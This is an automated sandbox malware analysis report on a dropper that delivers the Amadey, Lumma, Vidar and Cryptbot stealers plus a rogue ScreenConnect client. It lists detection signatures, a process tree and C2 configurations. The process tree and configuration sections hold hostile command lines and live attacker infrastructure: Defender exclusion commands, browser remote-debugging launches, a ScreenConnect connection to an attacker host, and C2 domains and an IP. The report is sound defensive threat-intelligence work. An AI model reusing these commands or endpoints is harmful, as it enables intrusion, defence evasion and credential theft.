Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1578370
MD5:	dac73e7813dc3500e5f677b5f31191df
SHA1:	bf5eaa68905a19d7cda4cc824267d5fbfc27785a
SHA256:	6b6ee9cae47a7d7d51218397669ea2644853643e8d7557b20a90dc49e203893e
Tags:	exeuser-Bitsight
Infos:

Detection

ScreenConnect Tool, LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected AntiVM3

Yara detected Cryptbot

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Vidar stealer

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

C2 URLs / IPs found in malware configuration

Contains functionality to hide user accounts

Enables network access during safeboot for specific services

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Injects a PE file into a foreign processes

Leaks process information

Loading BitLocker PowerShell Module

LummaC encrypted strings found

Machine Learning detection for sample

Maps a DLL or memory area into another process

Modifies security policies related information

Monitors registry run keys for changes

PE file contains section with special chars

PE file has a writeable .text section

Performs DNS queries to domains with low reputation

Possible COM Object hijacking

Potentially malicious time measurement code found

Query firmware table information (likely to detect VMs)

Reads the Security eventlog

Reads the System eventlog

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Sigma detected: Remote Access Tool - ScreenConnect Suspicious Execution

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Yara detected Costura Assembly Loader

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks for available system drives (often done to infect USB drives)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Creates or modifies windows services

Deletes files inside the Windows folder

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Modifies existing windows services

PE file contains an invalid checksum

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

PE file overlay found

Queries disk information (often used to detect virtual machines)

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Sigma detected: Browser Started with Remote Debugging

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Powershell Defender Exclusion

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected Credential Stealer

Yara detected ScreenConnect Tool

Classification

Process Tree

System is w10x64

file.exe (PID: 5900 cmdline: "C:\Users\user\Desktop\file.exe" MD5: DAC73E7813DC3500E5F677B5F31191DF)

skotes.exe (PID: 5360 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: DAC73E7813DC3500E5F677B5F31191DF)

skotes.exe (PID: 4368 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: DAC73E7813DC3500E5F677B5F31191DF)

skotes.exe (PID: 5024 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: DAC73E7813DC3500E5F677B5F31191DF)

NN9Dd7c.exe (PID: 1592 cmdline: "C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe" MD5: 04F57C6FB2B2CD8DCC4B38E4A93D4366)

conhost.exe (PID: 5040 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 3328 cmdline: "powershell.exe" Add-MpPreference -ExclusionPath "C:\aqhnzja" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 3728 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5192 cmdline: "powershell.exe" Add-MpPreference -ExclusionPath "C:\ProgramData" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 2532 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

20eec459fe6c4c019b42190414a26a1f.exe (PID: 6756 cmdline: "C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe" MD5: CC36E2A5A3C64941A79C31CA320E9797)

chrome.exe (PID: 5808 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 4920 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2392 --field-trial-handle=2168,i,12495445197851295823,16602898073438706142,262144 /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

msedge.exe (PID: 8080 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default" MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 6884 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2608 --field-trial-handle=2460,i,10425933932398577591,16914703880363206691,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

1156a90bbe2d483ebd285d59075df6eb.exe (PID: 3544 cmdline: "C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe" MD5: 971B0519B1C0461DB6700610E5E9CA8E)

f4d805b7c6.exe (PID: 364 cmdline: "C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe" MD5: EF08A45833A7D881C90DED1952F96CB4)

f4d805b7c6.exe (PID: 2388 cmdline: "C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe" MD5: EF08A45833A7D881C90DED1952F96CB4)

f4d805b7c6.exe (PID: 2384 cmdline: "C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe" MD5: EF08A45833A7D881C90DED1952F96CB4)

f4d805b7c6.exe (PID: 6932 cmdline: "C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe" MD5: EF08A45833A7D881C90DED1952F96CB4)

ga70pjP.exe (PID: 320 cmdline: "C:\Users\user\AppData\Local\Temp\1017680001\ga70pjP.exe" MD5: C9EC8EA582E787E6B9356B51811A1CA7)

msiexec.exe (PID: 2136 cmdline: "C:\Windows\System32\msiexec.exe" /i "C:\Users\user\AppData\Local\Temp\ScreenConnect\24.3.7.9067\98a59bd0eed9222b\ScreenConnect.ClientSetup.msi" MD5: 9D09DC1EDA745A5F87553048E57620CF)

54ad0685cd.exe (PID: 6696 cmdline: "C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe" MD5: FF279F4E5B1C6FBDA804D2437C2DBDC8)

3d9e1171bb.exe (PID: 7900 cmdline: "C:\Users\user\AppData\Local\Temp\1017683001\3d9e1171bb.exe" MD5: 44D829BE334D46439BDDC6DFAB13A937)

91f4c82194.exe (PID: 8604 cmdline: "C:\Users\user\AppData\Local\Temp\1017684001\91f4c82194.exe" MD5: 3A425626CBD40345F5B8DDDD6B2B9EFA)

cmd.exe (PID: 9036 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 9044 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

svchost.exe (PID: 7124 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 6276 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 6236 cmdline: C:\Windows\system32\svchost.exe -k LocalService -p -s BthAvctpSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

msiexec.exe (PID: 2320 cmdline: C:\Windows\system32\msiexec.exe /V MD5: E5DA170027542E25EDE42FC54C929077)

msiexec.exe (PID: 5112 cmdline: C:\Windows\syswow64\MsiExec.exe -Embedding 6BEA3CDA60BB479BD6134249EBA64259 C MD5: 9D09DC1EDA745A5F87553048E57620CF)

rundll32.exe (PID: 5612 cmdline: rundll32.exe "C:\Users\user\AppData\Local\Temp\MSIA043.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_3973343 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments MD5: 889B99C52A60DD49227C5E485A016679)

msiexec.exe (PID: 7148 cmdline: C:\Windows\syswow64\MsiExec.exe -Embedding 62663BE67B089F3264AF2C8AE57ABC03 MD5: 9D09DC1EDA745A5F87553048E57620CF)

msiexec.exe (PID: 1672 cmdline: C:\Windows\syswow64\MsiExec.exe -Embedding 51F875823EBE9D039049F5CCE08F98AE E Global\MSI0000 MD5: 9D09DC1EDA745A5F87553048E57620CF)

ScreenConnect.ClientService.exe (PID: 2300 cmdline: "C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=gips620.top&p=8880&s=33bf1e56-ac31-4776-92e6-865a91976f78&k=BgIAAACkAABSU0ExAAgAAAEAAQDpOwIVy34yVx7xLDnH6rBeYx7mmiLN2yQyIYdJTxYIVHOsytxx89D0YKoH68EoEXToTuDpMmwJb%2bhrlJ3faNFTpvu7W8w3%2fxYUdeWuXWg%2bTQxXr6EWby912nykdroWfBxDx6Lmxg1gxGgRJHC8Oc96zV%2fiaqo5GlyagtszKkrbPOWW4FBVQPXhlUfH4mlFE0i0vcMxGginTYl8IjGBzr94ANeAXwajoe9Cjam2haoL%2f%2bgHMtFYBZJisALFnyX3zECpRv7vqWzNAQJYIqY6qDuC2lEbs0NtuBMSfQRW1t0ZOk7cEzuQjq72QbWf1bR8rZf%2b0t3VNSgkIUcBljvpSRK7&c=VIRUS101&c=https%3a%2f%2ft.me%2fvirus101Screenconnect&c=PC%20RAT&c=PC%20RAT&c=&c=&c=&c=" MD5: 75B21D04C69128A7230A0998086B61AA)

ScreenConnect.WindowsClient.exe (PID: 3796 cmdline: "C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.WindowsClient.exe" "RunRole" "81374bf4-5161-4e78-9062-2622505dd25b" "User" MD5: 1778204A8C3BC2B8E5E4194EDBAF7135)

ScreenConnect.WindowsClient.exe (PID: 6548 cmdline: "C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.WindowsClient.exe" "RunRole" "071e1d02-2ded-441e-a216-a8295fcfc66b" "System" MD5: 1778204A8C3BC2B8E5E4194EDBAF7135)

msedge.exe (PID: 2780 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 7344 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2052 --field-trial-handle=1972,i,12048507488435266759,14562112167640179283,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 8792 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=5412 --field-trial-handle=1972,i,12048507488435266759,14562112167640179283,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 8800 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6832 --field-trial-handle=1972,i,12048507488435266759,14562112167640179283,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
CryptBot	A typical infostealer, capable of obtaining credentials for browsers, crypto currency wallets, browser cookies, credit cards, and creates screenshots of the infected system. All stolen data is bundled into a zip-file that is uploaded to the c2.	No Attribution	https://any.run/cybersecurity-blog/cryptbot-infostealer-malware-analysis/ https://asec.ahnlab.com/en/24423/ https://asec.ahnlab.com/en/26052/ https://asec.ahnlab.com/en/31683/ https://asec.ahnlab.com/en/31802/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptbot

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: LummaC

{"C2 url": ["energyaffai.lat", "aspecteirs.lat", "cheapptaxysu.click", "sustainskelet.lat", "discokeyus.lat", "rapeflowwj.lat", "crosshuaht.lat", "grannyejh.lat", "necklacebudi.lat"], "Build id": "CZJvss--"}

Threatname: Vidar

{"C2 url": "http://www.microsoft.com0", "Botnet": "1402"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_Cryptbot	Yara detected Cryptbot	Joe Security
sslproxydump.pcap	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author
C:\Windows\Temp\~DFEC80BE9B1F8F021D.TMP	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
C:\Windows\Temp\~DF8C7D3814706A6B1B.TMP	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
C:\Windows\Temp\~DF4F72EAE088270CE3.TMP	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
C:\Windows\Installer\inprogressinstallinfo.ipi	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
C:\Windows\Temp\~DFAC8ECF7E5B76FD45.TMP	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
C:\Windows\Temp\~DFC344C2AE35DF32E5.TMP	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
C:\Windows\Temp\~DFEBB357D6CC700344.TMP	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.WindowsClient.exe	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
C:\Config.Msi\3ca64f.rbs	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
C:\Windows\Installer\MSIA9C9.tmp	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\ga70pjP[1].exe	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
C:\Users\user\AppData\Local\Temp\1017680001\ga70pjP.exe	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
Click to see the 8 entries

Memory Dumps

Source	Rule	Description	Author
00000013.00000002.2938375851.0000000002BB3000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000000.00000003.2317073116.0000000005170000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000002.00000003.2357645239.0000000004880000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2357683222.0000000000B41000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000020.00000003.3421905733.0000000000FE3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000020.00000003.3419270172.0000000000F89000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000013.00000002.2955252675.0000000003991000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000008.00000002.2976798123.0000000003AD8000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000020.00000003.3419270172.0000000000FDE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000016.00000002.3210584122.00000000057E0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
00000006.00000003.2679300626.0000000004DF0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000003.00000002.2408823354.00000000007A1000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000020.00000003.3421395436.0000000000F8B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000021.00000000.3114073249.0000000000A82000.00000002.00000001.01000000.00000025.sdmp	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
00000021.00000002.3559506540.0000000002B71000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
00000003.00000003.2368517680.0000000004FF0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000006.00000002.3542500693.00000000007A1000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000020.00000003.3421395436.0000000000FDE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000016.00000002.3057397568.0000000002CB1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
00000002.00000002.2398180926.00000000007A1000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000013.00000002.2965984088.0000000005110000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000016.00000002.3228594051.0000000006631000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
00000013.00000002.2938375851.0000000002991000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000016.00000000.3002227462.0000000000296000.00000002.00000001.01000000.00000019.sdmp	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
00000022.00000002.3565111200.0000000002CB1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
Process Memory Space: NN9Dd7c.exe PID: 1592	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: NN9Dd7c.exe PID: 1592	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: f4d805b7c6.exe PID: 364	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: f4d805b7c6.exe PID: 6932	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: 20eec459fe6c4c019b42190414a26a1f.exe PID: 6756	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: 20eec459fe6c4c019b42190414a26a1f.exe PID: 6756	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 20eec459fe6c4c019b42190414a26a1f.exe PID: 6756	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: ga70pjP.exe PID: 320	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
Process Memory Space: rundll32.exe PID: 5612	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
Process Memory Space: 54ad0685cd.exe PID: 6696	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 54ad0685cd.exe PID: 6696	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 54ad0685cd.exe PID: 6696	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: ScreenConnect.WindowsClient.exe PID: 3796	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
Process Memory Space: ScreenConnect.WindowsClient.exe PID: 6548	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
Click to see the 34 entries

Unpacked PEs

Source	Rule	Description	Author
20.0.20eec459fe6c4c019b42190414a26a1f.exe.400000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
20.2.20eec459fe6c4c019b42190414a26a1f.exe.400000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
22.2.ga70pjP.exe.57e0000.12.raw.unpack	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
33.2.ScreenConnect.WindowsClient.exe.2befa18.1.raw.unpack	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
19.2.f4d805b7c6.exe.5110000.7.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
19.2.f4d805b7c6.exe.39bd790.4.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
33.0.ScreenConnect.WindowsClient.exe.a80000.0.unpack	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
6.2.skotes.exe.7a0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
22.0.ga70pjP.exe.31c3d4.5.raw.unpack	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
22.2.ga70pjP.exe.57e0000.12.unpack	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
2.2.skotes.exe.7a0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
34.2.ScreenConnect.WindowsClient.exe.2d2fa50.3.raw.unpack	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
3.2.skotes.exe.7a0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0.2.file.exe.b40000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
22.0.ga70pjP.exe.345db0.4.raw.unpack	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
22.0.ga70pjP.exe.280000.0.unpack	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
22.0.ga70pjP.exe.2963d4.3.raw.unpack	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
Click to see the 12 entries

Sigma Signatures

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "powershell.exe" Add-MpPreference -ExclusionPath "C:\aqhnzja", CommandLine: "powershell.exe" Add-MpPreference -ExclusionPath "C:\aqhnzja", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe, ParentProcessId: 1592, ParentProcessName: NN9Dd7c.exe, ProcessCommandLine: "powershell.exe" Add-MpPreference -ExclusionPath "C:\aqhnzja", ProcessId: 3328, ProcessName: powershell.exe

Sigma detected: Remote Access Tool - ScreenConnect Suspicious Execution

Source: Process started

